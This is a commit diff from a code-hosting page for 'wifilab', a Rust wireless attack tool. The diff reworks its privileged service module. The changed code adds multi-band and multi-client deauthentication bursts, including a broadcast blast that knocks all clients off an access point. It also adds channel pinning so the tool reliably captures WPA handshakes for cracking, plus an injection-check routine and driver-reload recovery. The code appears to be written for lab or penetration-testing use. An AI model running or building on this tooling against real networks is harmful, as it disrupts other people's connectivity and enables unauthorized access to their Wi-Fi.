forge
Explore
Log in

Don't you dare go Hollow

Benchmark events, channel-pin integration, monitor-gone restore warnings

Browse files at this commit

d8f9a5d45e3e94e0aaa8cfa3e60e72141999b9b3Ahmet Kaan GümüşParent: 87ed271
  • feat
    • benchmark events, channel-pin integration, monitor-gone restore warnings
Show full message
✨ feat(service): benchmark events, channel-pin integration, monitor-gone restore warnings
src/service.rsmodified+481 -152
@@ -10,16 +10,18 @@
10 //!10 //!
11 //! Concurrency notes (service side):11 //! Concurrency notes (service side):
12 //! - The scanner and any attack worker can coexist (deauth while capturing12 //! - The scanner and any attack worker can coexist (deauth while capturing
13-//! is the whole point). Attack workers open their OWN [`RawSocket`] on13+//! is the whole point). They arbitrate the RF channel through ONE shared
14-//! the monitor interface and set the channel themselves; concurrent14+//! [`iface::ChannelPin`]: the capture worker holds it for its target
15-//! attacks should therefore target the SAME channel — this matches the15+//! band, a deauth worker briefly overrides it per band and settles back
16-//! UI, which implies a single target.16+//! afterwards, and the scanner dwells on the pinned frequency instead of
17+//! hopping. Attack workers open their OWN [`RawSocket`] on the monitor
18+//! interface; concurrent attacks should target the SAME network — this
19+//! matches the UI, which implies a single target.
17 //! - `to_monitor` may create a `<orig>mon` vif; the actual monitor ifname20 //! - `to_monitor` may create a `<orig>mon` vif; the actual monitor ifname
18 //! is remembered and passed to [`iface::to_managed`] on stop/shutdown21 //! is remembered and passed to [`iface::to_managed`] on stop/shutdown
19 //! (it deletes the vif or flips the interface back, as appropriate).22 //! (it deletes the vif or flips the interface back, as appropriate).
20 23
21 use std::io::{BufRead, BufReader, Write};24 use std::io::{BufRead, BufReader, Write};
22-use std::path::PathBuf;
23 use std::process::{Child, ChildStdin, Command, Stdio};25 use std::process::{Child, ChildStdin, Command, Stdio};
24 use std::sync::atomic::{AtomicBool, Ordering};26 use std::sync::atomic::{AtomicBool, Ordering};
25 use std::sync::{Arc, Mutex};27 use std::sync::{Arc, Mutex};
@@ -30,10 +32,8 @@ use anyhow::{Context, Result, bail};
30 use crossbeam_channel::Sender;32 use crossbeam_channel::Sender;
31 33
32 use crate::common::{Cmd, Event, MacAddr};34 use crate::common::{Cmd, Event, MacAddr};
33-use crate::crypto::CrackTarget;
34-use crate::gpu::{self, GpuCracker};
35 use crate::rawsock::RawSocket;35 use crate::rawsock::RawSocket;
36-use crate::{deauth, handshake, iface, pmkid, scanner, wordlist};36+use crate::{deauth, dot11, handshake, iface, pmkid, radiotap, scanner};
37 37
38 /// Exact banner the service prints on stdout before any event line. The38 /// Exact banner the service prints on stdout before any event line. The
39 /// client prefix-matches lines against this while waiting (pkexec may39 /// client prefix-matches lines against this while waiting (pkexec may
@@ -56,6 +56,62 @@ fn log_err(tx: &Sender<Event>, msg: impl Into<String>) {
56 send(tx, Event::Error(msg.into()));56 send(tx, Event::Error(msg.into()));
57 }57 }
58 58
59+/// RAII release of a [`iface::ChannelPin::hold`] — the capture worker's
60+/// channel hold is released on EVERY worker exit path (normal, error,
61+/// early return), never leaving the scanner pinned forever.
62+struct PinGuard {
63+ pin: Arc<iface::ChannelPin>,
64+ mhz: u16,
65+}
66+
67+impl Drop for PinGuard {
68+ fn drop(&mut self) {
69+ self.pin.release(self.mhz);
70+ }
71+}
72+
73+/// Wildcard-probe canary: broadcast probe requests on `mon` (already
74+/// tuned to the channel it will work on) and look for ANY probe response
75+/// (mgmt subtype 5) on the air. Why this exists: mt76/mt7921e's
76+/// monitor-TX path wedges silently — `send()` succeeds and RX stays
77+/// perfectly healthy (scans look normal), but injected frames never
78+/// radiate until the driver is reloaded (verified on the lab MT7922: 0
79+/// probe responses when wedged, 7 after `modprobe -r mt7921e` + reload).
80+/// ~1.2 s; Ok(false) = wedge detected, Err = canary itself inconclusive.
81+fn injection_canary(mon: &str) -> Result<bool> {
82+ let sock = RawSocket::open(mon).context("canary socket")?;
83+ sock.set_timeout(100)?;
84+ let sa = iface::mac_of(mon)?;
85+ let mut frame = radiotap::INJECT_HDR.to_vec();
86+ frame.extend_from_slice(&dot11::build_probe_req(&[], &sa));
87+ let mut buf = [0u8; 2048];
88+ let deadline = Instant::now() + Duration::from_millis(1200);
89+ while Instant::now() < deadline {
90+ let _ = sock.send(&frame); // ~10 probes across the window
91+ match sock.recv(&mut buf) {
92+ Ok(n) if is_probe_response(&buf[..n]) => return Ok(true),
93+ Ok(_) => {}
94+ Err(e) if e.kind() == std::io::ErrorKind::WouldBlock => {}
95+ Err(e) => return Err(e).context("canary recv"),
96+ }
97+ }
98+ Ok(false)
99+}
100+
101+/// radiotap-wrapped 802.11 frame → is it a probe response (mgmt, st 5)?
102+fn is_probe_response(f: &[u8]) -> bool {
103+ let Some(rt_len) = f.get(2..4).map(|b| u16::from_le_bytes([b[0], b[1]]) as usize) else {
104+ return false;
105+ };
106+ let Some(fc) = f
107+ .get(rt_len..rt_len + 2)
108+ .map(|b| u16::from_le_bytes([b[0], b[1]]))
109+ else {
110+ return false;
111+ };
112+ (fc >> 2) & 3 == 0 && (fc >> 4) & 0xF == 5
113+}
114+
59 // ---------------------------------------------------------------------------115 // ---------------------------------------------------------------------------
60 // Privileged half — runs as the `--privileged-worker` child process.116 // Privileged half — runs as the `--privileged-worker` child process.
61 // ---------------------------------------------------------------------------117 // ---------------------------------------------------------------------------
@@ -74,6 +130,20 @@ struct RadioService {
74 /// Event pipe: the forwarder thread owns the receiving end and130 /// Event pipe: the forwarder thread owns the receiving end and
75 /// serializes one JSON line per event onto stdout.131 /// serializes one JSON line per event onto stdout.
76 tx: Sender<Event>,132 tx: Sender<Event>,
133+ /// Channel arbitration shared with the scanner (see
134+ /// [`iface::ChannelPin`]): capture workers hold it, deauth briefly
135+ /// overrides it, the scanner dwells on it instead of hopping.
136+ pin: Arc<iface::ChannelPin>,
137+ /// BSSIDs of APs we are actively deauthenticating: the scanner's
138+ /// foreign-deauth detector suppresses frames sourced from these (our
139+ /// blasts carry the AP's BSSID as transmitter).
140+ deauth_suppress: Arc<Mutex<std::collections::HashSet<MacAddr>>>,
141+ /// Live pcap spool: `(path, shared writer)`. The writer is reused
142+ /// across scans while the path matches and `fresh_spool` is unset.
143+ spool: Option<(std::path::PathBuf, Arc<Mutex<crate::pcapout::PcapWriter>>)>,
144+ /// Set when this session stopped NetworkManager — shutdown restarts
145+ /// it (best-effort) so the box is left the way we found it.
146+ stopped_nm: Arc<AtomicBool>,
77 }147 }
78 148
79 impl RadioService {149 impl RadioService {
@@ -84,6 +154,10 @@ impl RadioService {
84 mon_ifname: None,154 mon_ifname: None,
85 orig_ifname: None,155 orig_ifname: None,
86 tx,156 tx,
157+ pin: Arc::new(iface::ChannelPin::default()),
158+ deauth_suppress: Arc::new(Mutex::new(std::collections::HashSet::new())),
159+ spool: None,
160+ stopped_nm: Arc::new(AtomicBool::new(false)),
87 }161 }
88 }162 }
89 163
@@ -93,28 +167,165 @@ impl RadioService {
93 .or_else(|| self.orig_ifname.clone())167 .or_else(|| self.orig_ifname.clone())
94 }168 }
95 169
96- /// Switch `ifname` to monitor mode and start the channel-hopping170+ /// Verify injected frames actually radiate; on failure reload the
97- /// scanner (full 2.4 + 5 GHz hop list). On any failure an171+ /// NIC's driver (the only known cure for the mt76 monitor-TX wedge)
98- /// [`Event::Error`] is emitted, the interface is put back into managed172+ /// and recreate the monitor vif. Returns the monitor ifname to use —
99- /// mode (best effort). A previous scan session must be stopped first173+ /// unchanged unless a recovery happened.
100- /// (or have failed); the stop flag is always fresh here.174+ fn ensure_injection(&self, base: &str, mon: String) -> String {
101- fn start_scan(&mut self, ifname: &str, channels: &[u8]) {175+ match injection_canary(&mon) {
176+ Ok(true) => {
177+ log(&self.tx, "injection canary: probe responses seen — TX path OK");
178+ mon
179+ }
180+ Ok(false) => {
181+ log_err(
182+ &self.tx,
183+ format!(
184+ "injection canary: NO probe responses on {mon} — injected frames are \
185+ NOT radiating (driver TX wedge); reloading the wifi driver"
186+ ),
187+ );
188+ match iface::reset_driver(base).and_then(|_| iface::to_monitor(base)) {
189+ Ok(new_mon) => {
190+ log(
191+ &self.tx,
192+ format!("driver reloaded, monitor vif {new_mon} recreated — re-running canary"),
193+ );
194+ match injection_canary(&new_mon) {
195+ Ok(true) => log(&self.tx, "injection canary after recovery: OK"),
196+ Ok(false) => log_err(
197+ &self.tx,
198+ "injection STILL dead after driver reload — scanning works but \
199+ deauth/PMKID will not; check for a kernel/firmware update",
200+ ),
201+ Err(e) => log_err(&self.tx, format!("post-recovery canary inconclusive: {e:#}")),
202+ }
203+ new_mon
204+ }
205+ Err(e) => {
206+ log_err(
207+ &self.tx,
208+ format!("driver reload recovery failed: {e:#} — keeping {mon}; deauth/PMKID may not work"),
209+ );
210+ mon
211+ }
212+ }
213+ }
214+ Err(e) => {
215+ log(&self.tx, format!("injection canary inconclusive on {mon}: {e:#} — proceeding"));
216+ mon
217+ }
218+ }
219+ }
220+
221+ /// Switch `ifname` to monitor mode and start the scanner (full hop
222+ /// list when `channels` is empty, else parked on the given channels).
223+ /// Restart-safe: a running session's workers (scanner AND attacks) are
224+ /// stopped first, and the monitor interface is reused when it's
225+ /// already up for the same `ifname`. On any failure an [`Event::Error`]
226+ /// is emitted, the interface is put back into managed mode (best
227+ /// effort).
228+ fn start_scan(
229+ &mut self,
230+ ifname: &str,
231+ channels: &[u8],
232+ spool: Option<std::path::PathBuf>,
233+ fresh_spool: bool,
234+ ) {
235+ // Stop the CURRENT worker set first (scanner + attack workers): a
236+ // re-StartScan while running must not leak the old scanner thread —
237+ // it held the old stop flag and would keep hopping forever,
238+ // fighting the new channel plan. When the monitor interface already
239+ // exists for the SAME ifname it is reused (no managed↔monitor
240+ // churn); only the channel plan/workers change.
241+ let reuse_mon =
242+ self.orig_ifname.as_deref() == Some(ifname) && self.mon_ifname.is_some();
243+ self.stop.store(true, Ordering::Release);
244+ let old = std::mem::take(&mut *self.handles.lock().expect("handles poisoned"));
245+ for h in old {
246+ let _ = h.join();
247+ }
102 self.stop = Arc::new(AtomicBool::new(false));248 self.stop = Arc::new(AtomicBool::new(false));
103- self.mon_ifname = None;
104 self.orig_ifname = Some(ifname.to_string());249 self.orig_ifname = Some(ifname.to_string());
105 250
106- let mon_ifname = match iface::to_monitor(ifname) {251+ // Resolve the spool writer BEFORE workers spawn: same path +
107- Ok(name) => name,252+ // non-fresh reuses the open writer (truncating mid-scan would
108- Err(e) => {253+ // interleave frame bytes with the just-rewritten header of the
109- log_err(&self.tx, format!("monitor mode on {ifname} failed: {e:#}"));254+ // old handle); a fresh flag or a new path reopens. Failures log
110- // Best effort: leave the box the way we found it.255+ // once and the scan simply runs without a spool.
111- let _ = iface::teardown_monitor(ifname);256+ let spool_writer: Option<Arc<Mutex<crate::pcapout::PcapWriter>>> = match spool {
112- self.orig_ifname = None;257+ Some(path) => {
113- return;258+ let reusable = match &self.spool {
259+ Some((p, w)) if !fresh_spool && *p == path => Some(w.clone()),
260+ _ => None,
261+ };
262+ match reusable {
263+ Some(w) => {
264+ self.spool = Some((path, w.clone()));
265+ Some(w)
266+ }
267+ None => {
268+ let opened = if fresh_spool {
269+ crate::pcapout::create(&path)
270+ } else {
271+ crate::pcapout::from_path_append(&path)
272+ };
273+ match opened {
274+ Ok(w) => {
275+ let w = Arc::new(Mutex::new(w));
276+ self.spool = Some((path, w.clone()));
277+ Some(w)
278+ }
279+ Err(e) => {
280+ log_err(&self.tx, format!("pcap spool at {} disabled: {e}", path.display()));
281+ self.spool = None;
282+ None
283+ }
284+ }
285+ }
286+ }
287+ }
288+ None => {
289+ self.spool = None;
290+ None
291+ }
292+ };
293+
294+ let mon_ifname = if reuse_mon {
295+ self.mon_ifname.clone().expect("reuse_mon ⇒ mon_ifname set")
296+ } else {
297+ self.mon_ifname = None;
298+ match iface::to_monitor(ifname) {
299+ Ok(name) => name,
300+ Err(e) => {
301+ log_err(&self.tx, format!("monitor mode on {ifname} failed: {e:#}"));
302+ // Best effort: leave the box the way we found it.
303+ let _ = iface::teardown_monitor(ifname);
304+ self.orig_ifname = None;
305+ return;
306+ }
114 }307 }
115 };308 };
309+ // Injection canary BEFORE any worker spawns: a wedged TX path
310+ // would leave scans healthy while deauth/PMKID silently do
311+ // nothing. Recovery (driver reload + vif recreate) swaps the
312+ // monitor ifname.
313+ let mon_ifname = self.ensure_injection(ifname, mon_ifname);
116 self.mon_ifname = Some(mon_ifname.clone());314 self.mon_ifname = Some(mon_ifname.clone());
117- log(&self.tx, format!("monitor mode up on {mon_ifname} (was {ifname})"));315+ if reuse_mon {
316+ log(
317+ &self.tx,
318+ format!("scanner restarted on {mon_ifname} ({} channel(s))", channels.len().max(1)),
319+ );
320+ } else {
321+ log(&self.tx, format!("monitor mode up on {mon_ifname} (was {ifname})"));
322+ }
323+
324+ // Own MAC on the monitor vif: deauth frames we transmit never
325+ // loop back into the RX path on most cards, but when they do the
326+ // storm detector must not cry wolf. Unresolvable → ZERO (matches
327+ // nothing real).
328+ let own_mac = iface::mac_of(&mon_ifname).unwrap_or(MacAddr::ZERO);
118 329
119 // Parked-diagnostic channel numbers (2.4/5 GHz) map to frequencies;330 // Parked-diagnostic channel numbers (2.4/5 GHz) map to frequencies;
120 // empty = full default hop list incl. 6 GHz PSC.331 // empty = full default hop list incl. 6 GHz PSC.
@@ -127,6 +338,10 @@ impl RadioService {
127 freqs,338 freqs,
128 dwell_ms: 100,339 dwell_ms: 100,
129 rssi_floor: -95,340 rssi_floor: -95,
341+ pin: self.pin.clone(),
342+ own_mac,
343+ deauth_suppress: self.deauth_suppress.clone(),
344+ spool: spool_writer,
130 };345 };
131 let stop = self.stop.clone();346 let stop = self.stop.clone();
132 let tx = self.tx.clone();347 let tx = self.tx.clone();
@@ -159,13 +374,50 @@ impl RadioService {
159 for h in handles {374 for h in handles {
160 let _ = h.join();375 let _ = h.join();
161 }376 }
162- if let Some(orig) = self.orig_ifname.take() {377+ // Flush the pcap spool now that the scanner thread is joined: an
378+ // Export .pcap copies the file from disk and must see every frame.
379+ // The writer stays open for reuse by the next StartScan.
380+ if let Some((_, w)) = &self.spool {
381+ if let Ok(mut w) = w.lock() {
382+ if let Err(e) = w.finish() {
383+ log_err(&self.tx, format!("pcap spool flush failed: {e:#}"));
384+ }
385+ }
386+ }
387+ let orig = self.orig_ifname.take();
388+ if let Some(orig) = &orig {
163 if self.mon_ifname.take().is_some() {389 if self.mon_ifname.take().is_some() {
164- if let Err(e) = iface::teardown_monitor(&orig) {390+ if let Err(e) = iface::teardown_monitor(orig) {
165 eprintln!("wifilab-svc: teardown_monitor({orig}) failed: {e:#}");391 eprintln!("wifilab-svc: teardown_monitor({orig}) failed: {e:#}");
166 }392 }
167 }393 }
168 }394 }
395+ self.restore_check(orig.as_deref());
396+ }
397+
398+ /// Post-teardown hygiene: a surviving `<orig>mon` vif means the driver
399+ /// refused our delete (or teardown never ran) — the user is left with
400+ /// no working wifi and needs the exact recovery command. Then restart
401+ /// NetworkManager if we stopped it this session. Idempotent (the NM
402+ /// flag is consumed), so the shutdown tail can re-run it safely; the
403+ /// monitor check is skipped when no scan session ever ran.
404+ fn restore_check(&self, orig: Option<&str>) {
405+ if let Some(orig) = orig {
406+ if !iface::monitor_gone(orig) {
407+ log_err(
408+ &self.tx,
409+ format!(
410+ "interface left in monitor mode; fix: sudo iw dev {orig}mon del"
411+ ),
412+ );
413+ }
414+ }
415+ if self.stopped_nm.swap(false, Ordering::AcqRel) {
416+ match iface::start_networkmanager() {
417+ Ok(()) => log(&self.tx, "nm: NetworkManager restarted"),
418+ Err(e) => log_err(&self.tx, format!("nm: restart failed: {e:#}")),
419+ }
420+ }
169 }421 }
170 422
171 /// Register a worker thread; on spawn failure the error is reported on423 /// Register a worker thread; on spawn failure the error is reported on
@@ -193,30 +445,106 @@ impl RadioService {
193 }445 }
194 446
195 /// Deauth worker: opens its own raw socket on the monitor interface,447 /// Deauth worker: opens its own raw socket on the monitor interface,
196- /// tunes it to `channel`, then blasts `count` deauth rounds at448+ /// then for each `(bssid, channel)` in `aps` tunes the channel and
197- /// `target` (broadcast allowed). Emits DeauthSent progress (via449+ /// blasts `count` rounds at `target` (broadcast allowed). Multi-entry
198- /// [`deauth::blast`]) and a final summary log.450+ /// lists cover dual-band targets — the client picks the band, we don't
199- fn deauth(&self, ap: MacAddr, target: MacAddr, channel: u8, count: u32) {451+ /// get to. Emits DeauthSent progress (via [`deauth::blast`]) per band.
452+ ///
453+ /// Channel arbitration: each band first moves the shared pin
454+ /// (`override_freq` — the scanner re-asserts it, so the radio stays on
455+ /// the band across the whole blast instead of being hopped away
456+ /// mid-burst), with one immediate `set_channel` so TX starts now.
457+ /// Afterwards `settle` hands the channel back to a held capture (or
458+ /// free hop). The blast honors the stop flag per round, so a scan
459+ /// restart's stop-join does not block the command loop.
460+ fn deauth(&self, aps: Vec<(MacAddr, u8)>, target: MacAddr, count: u32) {
200 let Some(mon) = self.mon() else {461 let Some(mon) = self.mon() else {
201 log_err(&self.tx, "deauth: no scan session — StartScan first");462 log_err(&self.tx, "deauth: no scan session — StartScan first");
202 return;463 return;
203 };464 };
465+ let pin = self.pin.clone();
466+ let stop = self.stop.clone();
467+ // Own frames must not trip the foreign-deauth detector: our blasts
468+ // carry each AP's BSSID as transmitter (addr2).
469+ if let Ok(mut s) = self.deauth_suppress.lock() {
470+ for (bssid, _) in &aps {
471+ s.insert(*bssid);
472+ }
473+ }
474+ let suppress = self.deauth_suppress.clone();
204 self.spawn("wifilab-deauth", "deauth", move |tx| {475 self.spawn("wifilab-deauth", "deauth", move |tx| {
476+ deauth_worker(&mon, &aps, target, count, &pin, &stop, &tx);
477+ // Whatever happened above (early error return included): hand
478+ // the channel back to the capture hold, else free hop.
479+ pin.settle();
480+ if let Ok(mut s) = suppress.lock() {
481+ for (bssid, _) in &aps {
482+ s.remove(bssid);
483+ }
484+ }
485+ });
486+ }
487+
488+ /// Multi-client deauth: one worker pins `ap`'s channel and blasts
489+ /// `count` rounds at each target in turn, finishing with one
490+ /// broadcast blast (catches clients we haven't seen). Per-target
491+ /// errors are logged and skipped; the pin settles at the end
492+ /// regardless.
493+ fn deauth_all(&self, ap: MacAddr, channel: u8, targets: Vec<MacAddr>, count: u32) {
494+ let Some(mon) = self.mon() else {
495+ log_err(&self.tx, "deauth-all: no scan session — StartScan first");
496+ return;
497+ };
498+ let pin = self.pin.clone();
499+ let stop = self.stop.clone();
500+ if let Ok(mut s) = self.deauth_suppress.lock() {
501+ s.insert(ap);
502+ }
503+ let suppress = self.deauth_suppress.clone();
504+ self.spawn("wifilab-deauth-all", "deauth-all", move |tx| {
205 let sock = match RawSocket::open(&mon) {505 let sock = match RawSocket::open(&mon) {
206 Ok(s) => s,506 Ok(s) => s,
207 Err(e) => {507 Err(e) => {
208- log_err(&tx, format!("deauth: raw socket on {mon} failed: {e}"));508+ log_err(&tx, format!("deauth-all: raw socket on {mon} failed: {e}"));
509+ pin.settle();
510+ if let Ok(mut s) = suppress.lock() {
511+ s.remove(&ap);
512+ }
209 return;513 return;
210 }514 }
211 };515 };
516+ // Move the pin first (scanner re-asserts this band, not the
517+ // hop plan), then one immediate tune so TX starts this instant.
518+ if let Some(mhz) = crate::common::freq_of_channel(channel) {
519+ pin.override_freq(mhz);
520+ }
212 if let Err(e) = iface::set_channel(&mon, channel) {521 if let Err(e) = iface::set_channel(&mon, channel) {
213- // Not fatal: the capture worker is usually already parked522+ log(&tx, format!("deauth-all: set_channel {channel} failed: {e:#}"));
214- // on the right channel.
215- log(&tx, format!("deauth: set_channel {channel} failed: {e:#}"));
216 }523 }
217- match deauth::blast(&sock, &ap, &target, count, &tx) {524+ for target in &targets {
218- Ok(sent) => log(&tx, format!("deauth: done, {sent} frames → {target}")),525+ if stop.load(Ordering::Relaxed) {
219- Err(e) => log_err(&tx, format!("deauth: {e:#}")),526+ break;
527+ }
528+ match deauth::blast(&sock, &ap, target, count, &tx, &stop) {
529+ Ok(sent) => log(
530+ &tx,
531+ format!("deauth-all: {sent} frames → {target} (AP {ap}, ch {channel})"),
532+ ),
533+ Err(e) => log_err(&tx, format!("deauth-all: {target}: {e:#}")),
534+ }
535+ }
536+ if !stop.load(Ordering::Relaxed) {
537+ match deauth::blast(&sock, &ap, &MacAddr::BROADCAST, count, &tx, &stop) {
538+ Ok(sent) => log(
539+ &tx,
540+ format!("deauth-all: {sent} frames → broadcast (AP {ap}, ch {channel})"),
541+ ),
542+ Err(e) => log_err(&tx, format!("deauth-all: broadcast: {e:#}")),
543+ }
544+ }
545+ pin.settle();
546+ if let Ok(mut s) = suppress.lock() {
547+ s.remove(&ap);
220 }548 }
221 });549 });
222 }550 }
@@ -255,20 +583,47 @@ impl RadioService {
255 });583 });
256 }584 }
257 585
258- /// 4-way capture worker: tune the monitor interface to `channel`, open586+ /// 4-way capture worker over every `(bssid, channel)` in `targets`
259- /// a raw socket, and run [`handshake::capture_loop`] (stop flag587+ /// (dual-band aware; `targets[0]` is the selected BSSID — the UI puts
260- /// checked every 250 ms frame poll). [`Event::HandshakeComplete`] is588+ /// its band first and that's where a deauthed client will re-auth, so
261- /// emitted from inside the loop when a crackable pair completes.589+ /// that's the band we hold). Opens its own raw socket and runs
262- fn capture_hs(&self, ap: MacAddr, channel: u8, essid: String) {590+ /// [`handshake::capture_loop`] (stop flag checked every 250 ms frame
591+ /// poll). [`Event::HandshakeComplete`] is emitted from inside the loop
592+ /// when a crackable pair completes.
593+ ///
594+ /// Channel arbitration: the pin is HELD synchronously here — before
595+ /// the worker spawns — so a concurrently-arriving Deauth command sees
596+ /// the capture as owner deterministically. The worker's [`PinGuard`]
597+ /// releases on every exit path; the scanner dwells on the held
598+ /// frequency instead of hopping, so M1/M2 can't land in different
599+ /// dwell windows.
600+ fn capture_hs(&self, targets: Vec<(MacAddr, u8)>, essid: String) {
263 let Some(mon) = self.mon() else {601 let Some(mon) = self.mon() else {
264 log_err(&self.tx, "handshake: no scan session — StartScan first");602 log_err(&self.tx, "handshake: no scan session — StartScan first");
265 return;603 return;
266 };604 };
605+ let hold = targets
606+ .first()
607+ .and_then(|(_, ch)| crate::common::freq_of_channel(*ch));
608+ if let Some(mhz) = hold {
609+ self.pin.hold(mhz);
610+ log(&self.tx, format!("handshake: channel held at {mhz} MHz"));
611+ }
612+ let pin = self.pin.clone();
267 let stop = self.stop.clone();613 let stop = self.stop.clone();
268- self.spawn("wifilab-capture", "handshake", move |tx| {614+ let spawned = self.spawn("wifilab-capture", "handshake", move |tx| {
269- if let Err(e) = iface::set_channel(&mon, channel) {615+ let _guard = hold.map(|mhz| PinGuard { pin, mhz });
270- log_err(&tx, format!("handshake: set_channel {channel} on {mon}: {e:#}"));616+ let bssids: Vec<MacAddr> = targets.iter().map(|(b, _)| *b).collect();
271- return;617+ let mut channels: Vec<u8> = targets.iter().map(|(_, c)| *c).collect();
618+ channels.sort_unstable();
619+ channels.dedup();
620+ if channels.len() == 1 {
621+ // Apply immediately; the scanner re-asserts the same held
622+ // frequency from now on.
623+ if let Err(e) = iface::set_channel(&mon, channels[0]) {
624+ log_err(&tx, format!("handshake: set_channel {} on {mon}: {e:#}", channels[0]));
625+ return;
626+ }
272 }627 }
273 let sock = match RawSocket::open(&mon) {628 let sock = match RawSocket::open(&mon) {
274 Ok(s) => s,629 Ok(s) => s,
@@ -277,22 +632,77 @@ impl RadioService {
277 return;632 return;
278 }633 }
279 };634 };
280- match handshake::capture_loop(&sock, ap, &essid, &tx, &stop) {635+ match handshake::capture_loop(&sock, &bssids, &essid, &tx, &stop) {
281 Ok(true) => {}636 Ok(true) => {}
282- Ok(false) => log(&tx, format!("handshake: capture ended without a pair ({ap})")),637+ Ok(false) => log(
638+ &tx,
639+ format!("handshake: capture ended without a pair ({essid}, {} bssid(s))", bssids.len()),
640+ ),
283 Err(e) => log_err(&tx, format!("handshake: {e:#}")),641 Err(e) => log_err(&tx, format!("handshake: {e:#}")),
284 }642 }
285 });643 });
644+ if !spawned {
645+ // Worker never started — nobody else will release the hold.
646+ if let Some(mhz) = hold {
647+ self.pin.release(mhz);
648+ }
649+ }
286 }650 }
287 651
288 fn stop_networkmanager(&self) {652 fn stop_networkmanager(&self) {
289 match iface::stop_networkmanager() {653 match iface::stop_networkmanager() {
290- Ok(()) => log(&self.tx, "nm: stopped"),654+ Ok(()) => {
655+ self.stopped_nm.store(true, Ordering::Release);
656+ log(&self.tx, "nm: stopped");
657+ }
291 Err(e) => log(&self.tx, format!("nm: stop failed: {e:#}")),658 Err(e) => log(&self.tx, format!("nm: stop failed: {e:#}")),
292 }659 }
293 }660 }
294 }661 }
295 662
663+/// Body of the deauth worker (early returns on socket/TX errors; the
664+/// caller settles the pin afterwards regardless).
665+fn deauth_worker(
666+ mon: &str,
667+ aps: &[(MacAddr, u8)],
668+ target: MacAddr,
669+ count: u32,
670+ pin: &iface::ChannelPin,
671+ stop: &AtomicBool,
672+ tx: &Sender<Event>,
673+) {
674+ let sock = match RawSocket::open(mon) {
675+ Ok(s) => s,
676+ Err(e) => {
677+ log_err(tx, format!("deauth: raw socket on {mon} failed: {e}"));
678+ return;
679+ }
680+ };
681+ for (ap, channel) in aps {
682+ if stop.load(Ordering::Relaxed) {
683+ return;
684+ }
685+ // Move the pin first (scanner re-asserts this band, not the hop
686+ // plan), then one immediate tune so TX starts this instant.
687+ if let Some(mhz) = crate::common::freq_of_channel(*channel) {
688+ pin.override_freq(mhz);
689+ }
690+ if let Err(e) = iface::set_channel(mon, *channel) {
691+ log(tx, format!("deauth: set_channel {channel} failed: {e:#}"));
692+ }
693+ match deauth::blast(&sock, ap, &target, count, tx, stop) {
694+ Ok(sent) => log(
695+ tx,
696+ format!("deauth: done, {sent} frames → {target} (AP {ap}, ch {channel})"),
697+ ),
698+ Err(e) => {
699+ log_err(tx, format!("deauth: {e:#}"));
700+ return;
701+ }
702+ }
703+ }
704+}
705+
296 /// Service entry point: never returns (process exits from inside).706 /// Service entry point: never returns (process exits from inside).
297 ///707 ///
298 /// stdout carries exactly one READY banner and then one JSON-serialized708 /// stdout carries exactly one READY banner and then one JSON-serialized
@@ -364,25 +774,32 @@ fn service_main() -> i32 {
364 }774 }
365 };775 };
366 match cmd {776 match cmd {
367- Cmd::StartScan { ifname, channels } => {777+ Cmd::StartScan {
368- radio.start_scan(&ifname, channels.as_deref().unwrap_or(&[]))778+ ifname,
369- }779+ channels,
780+ spool,
781+ fresh_spool,
782+ } => radio.start_scan(&ifname, channels.as_deref().unwrap_or(&[]), spool, fresh_spool),
370 Cmd::StopScan => radio.stop_scan(),783 Cmd::StopScan => radio.stop_scan(),
371- Cmd::Deauth {784+ Cmd::Deauth { aps, target, count } => radio.deauth(aps, target, count),
785+ Cmd::DeauthAll {
372 ap,786 ap,
373- target,
374 channel,787 channel,
788+ targets,
375 count,789 count,
376- } => radio.deauth(ap, target, channel, count),790+ } => radio.deauth_all(ap, channel, targets, count),
377 Cmd::Pmkid { ap, channel, essid } => radio.pmkid(ap, channel, essid),791 Cmd::Pmkid { ap, channel, essid } => radio.pmkid(ap, channel, essid),
378- Cmd::CaptureHs { ap, channel, essid } => radio.capture_hs(ap, channel, essid),792+ Cmd::CaptureHs { targets, essid } => radio.capture_hs(targets, essid),
379 Cmd::StopNetworkManager => radio.stop_networkmanager(),793 Cmd::StopNetworkManager => radio.stop_networkmanager(),
380 Cmd::Shutdown => break,794 Cmd::Shutdown => break,
381 }795 }
382 }796 }
383 797
384 // Stop everything, restore the interface, drain the event pipe so the798 // Stop everything, restore the interface, drain the event pipe so the
385- // last error lines still reach the UI, and exit.799+ // last error lines still reach the UI, and exit. stop_scan runs the
800+ // monitor-mode restore-check (a surviving `<if>mon` vif → an explicit
801+ // fix command on the event pipe) and restarts NetworkManager when this
802+ // session stopped it.
386 radio.stop_scan();803 radio.stop_scan();
387 drop(radio);804 drop(radio);
388 drop(tx);805 drop(tx);
@@ -391,21 +808,17 @@ fn service_main() -> i32 {
391 }808 }
392 809
393 // ---------------------------------------------------------------------------810 // ---------------------------------------------------------------------------
394-// UI-side half — owns the child process and the crack thread.811+// UI-side half — owns the child process.
395 // ---------------------------------------------------------------------------812 // ---------------------------------------------------------------------------
396 813
397 /// Client handle for the privileged service. Lives across scan sessions:814 /// Client handle for the privileged service. Lives across scan sessions:
398 /// "Stop capture" only sends [`Cmd::StopScan`]; the child stays up for815 /// "Stop capture" only sends [`Cmd::StopScan`]; the child stays up for
399-/// later scans and for `StopNetworkManager`. The GPU cracker runs as a816+/// later scans and for `StopNetworkManager`. (The cracker is NOT tracked
400-/// plain thread in the UI process (no privilege needed) and is tracked817+/// here: it is a pure UI-process job — see [`crate::attack`].)
401-/// here for its stop flag only.
402 pub struct ServiceClient {818 pub struct ServiceClient {
403 stdin: Arc<Mutex<ChildStdin>>,819 stdin: Arc<Mutex<ChildStdin>>,
404 reader: Option<JoinHandle<()>>,820 reader: Option<JoinHandle<()>>,
405 child: Child,821 child: Child,
406- /// Stop flag of the currently running crack job (if any). Radio
407- /// workers live in the service; this is a pure UI-process thread.
408- pub crack_stop: Mutex<Option<Arc<AtomicBool>>>,
409 }822 }
410 823
411 /// Child argv: same binary, hidden worker flag. Root → spawn directly;824 /// Child argv: same binary, hidden worker flag. Root → spawn directly;
@@ -543,11 +956,12 @@ impl ServiceClient {
543 stdin: Arc::new(Mutex::new(stdin)),956 stdin: Arc::new(Mutex::new(stdin)),
544 reader: Some(reader),957 reader: Some(reader),
545 child,958 child,
546- crack_stop: Mutex::new(None),
547 };959 };
548 client.cmd(&Cmd::StartScan {960 client.cmd(&Cmd::StartScan {
549 ifname: ifname.to_string(),961 ifname: ifname.to_string(),
550 channels: None,962 channels: None,
963+ spool: None,
964+ fresh_spool: false,
551 });965 });
552 Ok(client)966 Ok(client)
